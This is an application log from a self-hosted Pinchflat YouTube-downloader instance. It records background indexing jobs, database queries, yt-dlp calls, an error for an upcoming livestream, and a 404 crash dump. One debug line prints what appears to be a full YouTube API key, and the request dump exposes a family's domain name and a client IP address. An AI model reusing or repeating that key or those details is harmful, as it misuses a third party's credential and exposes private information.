"2I9Qk0sB68o", "2psXxetNpoo", "u8Xyx2L4Nlg", "GODPh96F0M0", "sPU6wVz2iE8", "KeLmi62DmjU", "eNb55ZwnCRc", "wZZf6LM3wAU", "wcI-lqMwNSY", "omCWNO7Jbnw", "qklfd81ceeY", "VJqMPFNP4to", "-nTm_xZY3o4", "Px117so_Mww", "QFtCeGjKOxU", "Mo-0nz6Mlig", "iBt1TLBFTRs", "pdM3d0DRY8U", "bG68OBQ3x9Y", "MJr40qys1g0", "FV8iLYP54XQ", "rmiB2NnXgPU", "9rnjawJ_QDc", "ckiGgyCB88U", "URCnFcSypKc", "wFbjoKV876M", "hLnPciB8cGs", "433kipkEERY", "2P2G4b8V2Eg", "IJWvYvCJ0os", "iRvyRo5Fk0o", "oznSYLMrSt4", "3yO0m8X0xn4", "KyoXLbfpZfg", "GLGK0GKexds", "i_cIhvzoKEM", ...] 17:48:00.279 [debug] QUERY OK source="media_items" db=9.5ms idle=99.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 17:48:00.297 [debug] QUERY OK source="tasks" db=0.9ms idle=1.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800309, 1, ~U[2026-02-10 23:48:00Z], ~U[2026-02-10 23:48:00Z]] 17:48:00.297 [info] {"args":{"id":1},"id":3800270,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":129017,"event":"job:stop","queue_time":497647,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:48:29.841 [info] {"source":"oban","duration":10637,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:48:59.852 [info] {"source":"oban","duration":10009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:00.100 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:49:29.863 [info] {"source":"oban","duration":9990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:49:59.872 [info] {"source":"oban","duration":7806,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:00.101 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:50:29.880 [info] {"source":"oban","duration":7933,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:50:50.349 [info] {"args":{"id":37},"id":3800271,"meta":{},"system_time":1770767450349738290,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:50:50.351 [debug] QUERY OK source="sources" db=1.0ms idle=1007.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [37] 17:50:50.351 [debug] QUERY OK source="settings" db=0.1ms idle=472.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:50.352 [debug] QUERY OK source="media_profiles" db=0.8ms idle=472.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:50:50.352 [debug] QUERY OK source="settings" db=0.7ms idle=8.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:50.352 [debug] Fetching recent media IDs from YouTube API for playlist: UUcZqcdpiaDR3wbvS2Yu9xfw 17:50:50.353 [debug] QUERY OK source="settings" db=0.0ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:50.353 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:50:50.529 [debug] QUERY OK source="media_items" db=0.5ms idle=178.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [37, "ZempW3DeiHc", "K5YEoWYl75s", "EcPzDxji3SE", "hI90sPvV0C0", "o4Y-u-_8VsU", "VZLpFA3HIM8", "8MK5FLwpfqc", "n6awTDNkxvA", "hhm0nu3Ep5s", "nZyEptt3pdk", "scmdr8dVddQ", "Ri0KylA5D2c", "fIPdFsMu0HY", "j3s_4Mnl55Y", "BfHhAubdTSM", "Ts33nJu9pLo", "1MsM7pFS2og", "tUER2cEjTSU", "zl2h07mHIH0", "Pm8AeE5wRHg", "3K5jPjdV_BU", "tInJ45Gr6nE", "sNypPfHbnkw", "Qror46CYz_8", "cJt-0XogsL4", "QdpY9eQXXlc", "89w5_-zcexo", "sXrVvwFJpfo", "26Yd2Wma-HI", "VNAKa-7-1xQ", "4U5QrFcHibU", "qtILvKKg4Yo", "J1lEA9Tef44", "TCk8j-4etKk", "tARk9xBflxo", "Sn88ZdL1pnM", "V0skKmeOIiU", "czAdrqvhvBM", "Na2eWpXkGWo", "h4-WqlqeDjc", "Nig4e3UZ0Ak", "R79HCCLJkig", "iOAl0xuNyQ8", "U7W1KL0xHrw", "JXIH6G9b0Mw", "4VAoSHYbFe8", "rX66ykNnlLE", "tubBaYmpqQs", "bc6s9Nn73FI", ...] 17:50:50.530 [debug] QUERY OK source="settings" db=0.0ms idle=179.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:50.530 [debug] QUERY OK source="settings" db=0.0ms idle=178.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:50.530 [debug] Running yt-dlp command for action: get_media_attributes 17:50:50.531 [debug] QUERY OK source="settings" db=0.0ms idle=178.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:50.531 [debug] QUERY OK source="settings" db=0.0ms idle=178.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:50.531 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:50.531 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=n6awTDNkxvA --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/4a/17/4a172e0a16be8ede26f7236565f5fab3494100f0e7699ca9d4223d4b37601d59.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:50:51.802 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=n6awTDNkxvA --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/4a/17/4a172e0a16be8ede26f7236565f5fab3494100f0e7699ca9d4223d4b37601d59.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] n6awTDNkxvA: This live event will begin in 16 hours. 17:50:51.802 [error] Error creating media item 'n6awTDNkxvA' from URL: {:error, "ERROR: [youtube] n6awTDNkxvA: This live event will begin in 16 hours.\n", 1} 17:50:51.803 [debug] QUERY OK source="media_items" db=0.9ms idle=1271.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [37] 17:50:51.804 [debug] QUERY OK source="tasks" db=0.1ms idle=459.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800310, 37, ~U[2026-02-10 23:50:51Z], ~U[2026-02-10 23:50:51Z]] 17:50:51.805 [info] {"args":{"id":37},"id":3800271,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":1455211,"event":"job:stop","queue_time":227125,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:50:59.892 [info] {"source":"oban","duration":10973,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:00.102 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:51:29.903 [info] {"source":"oban","duration":10204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:51:59.914 [info] {"source":"oban","duration":10373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:00.103 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:52:29.923 [info] {"source":"oban","duration":7939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:59.934 [info] {"source":"oban","duration":10009,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:00.104 [info] {"source":"oban","duration":453,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:53:29.943 [info] {"source":"oban","duration":7990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:41.227 [info] GET /sources/12/force_index 17:53:41.227 [debug] QUERY OK source="settings" db=0.1ms idle=1349.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:41.228 [debug] QUERY OK source="settings" db=0.0ms idle=1349.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:53:41.228 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:53:41.228 [error] #PID<0.23080.0> running PinchflatWeb.Endpoint (connection #PID<0.23079.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /sources/12/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/12/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.23079.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/12/force_index", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 48512}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate, br", "host" => "pinchflat.burns-family.net", "referer" => "https://pinchflat.burns-family.net/", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "113.192.47.142", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "113.192.47.142" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.23080.0>, params: %{}, path_info: ["sources", "12", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate, br"}, {"host", "pinchflat.burns-family.net"}, {"referer", "https://pinchflat.burns-family.net/"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36"}, {"x-forwarded-for", "113.192.47.142"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "113.192.47.142"} ], request_path: "/sources/12/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMHxQMH0cTlSqsACYoh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.23079.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/12/force_index", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 48512}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate, br", "host" => "pinchflat.burns-family.net", "referer" => "https://pinchflat.burns-family.net/", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "113.192.47.142", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "113.192.47.142" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/12/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.23079.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/12/force_index", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 48512}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate, br", "host" => "pinchflat.burns-family.net", "referer" => "https://pinchflat.burns-family.net/", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "113.192.47.142", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "113.192.47.142" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.23080.0>, params: %{}, path_info: ["sources", "12", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate, br"}, {"host", "pinchflat.burns-family.net"}, {"referer", "https://pinchflat.burns-family.net/"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537. (truncated) 17:53:59.954 [info] {"source":"oban","duration":10362,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:00.105 [info] {"source":"oban","duration":203,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:54:29.963 [info] {"source":"oban","duration":7722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:59.970 [info] {"source":"oban","duration":7600,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:00.106 [info] {"source":"oban","duration":146,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:55:29.979 [info] {"source":"oban","duration":7821,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:48.944 [info] GET /sources/93352545-e4c8-4fef-be42-ab095b3fa128/feed.xml 17:55:48.944 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "93352545-e4c8-4fef-be42-ab095b3fa128"} Pipelines: [:maybe_basic_auth] 17:55:48.944 [debug] QUERY OK source="sources" db=0.1ms idle=1066.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["93352545-e4c8-4fef-be42-ab095b3fa128"] 17:55:48.947 [debug] QUERY OK source="media_items" db=2.9ms idle=1066.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [41, 2000] 17:55:48.957 [debug] QUERY OK source="source_metadata" db=0.0ms idle=1079.0ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [41] 17:55:48.957 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1079.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1564177] 17:55:48.957 [info] Sent 200 in 13ms 17:55:59.987 [info] {"source":"oban","duration":7676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:00.107 [info] {"source":"oban","duration":218,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:56:29.995 [info] {"source":"oban","duration":7896,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:34.710 [info] {"args":{"id":30},"id":3800272,"meta":{},"system_time":1770767794710486397,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:56:34.711 [debug] QUERY OK source="sources" db=0.8ms idle=832.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 17:56:34.712 [debug] QUERY OK source="settings" db=0.7ms idle=833.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:34.713 [debug] QUERY OK source="media_profiles" db=0.7ms idle=833.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:56:34.714 [debug] QUERY OK source="settings" db=0.7ms idle=9.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:56:34.714 